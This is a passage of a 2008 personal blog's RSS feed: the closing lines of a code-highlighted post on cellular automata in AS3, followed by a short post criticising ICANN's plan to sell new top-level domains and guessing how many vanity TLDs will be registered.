<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.davr.org/2008/08/22/simple-cellular-automata-example-in-as3/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>ICANN haz new TLDs?</title>
		<link>http://blog.davr.org/2008/07/07/icann-haz-new-tlds/</link>
		<comments>http://blog.davr.org/2008/07/07/icann-haz-new-tlds/#comments</comments>
		<pubDate>Tue, 08 Jul 2008 06:53:21 +0000</pubDate>
		<dc:creator>davr</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.davr.org/?p=79</guid>
		<description><![CDATA[So apparently ICANN has decided to start allowing people to purchase new Top Level Domains. Existing ones are things like .com, .net, .info, .biz, and so forth. They are going to charge a hefty $100,000 for the privilege however. Personally I think it's a terrible idea, and it's just a plot to make some quick [...]]]></description>
			<content:encoded><![CDATA[<p>So apparently ICANN has decided to start allowing people to purchase new Top Level Domains. Existing ones are things like .com, .net, .info, .biz, and so forth. They are going to charge a hefty $100,000 for the privilege however. Personally I think it's a terrible idea, and it's just a plot to make some quick money on their part. Anyway, <a href="http://fullof.bs/">my buddy</a> guesses there will be 950 vanity TLDs registered in the first auction (where a vanity TLD being one that refers to a company, person, organization) <a href="http://fullof.bs/iana-icann-gambling-place-your-bets-be-a-psychic">I say that's way too high, I'd be surprised if there were over a hundred</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.davr.org/2008/07/07/icann-haz-new-tlds/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
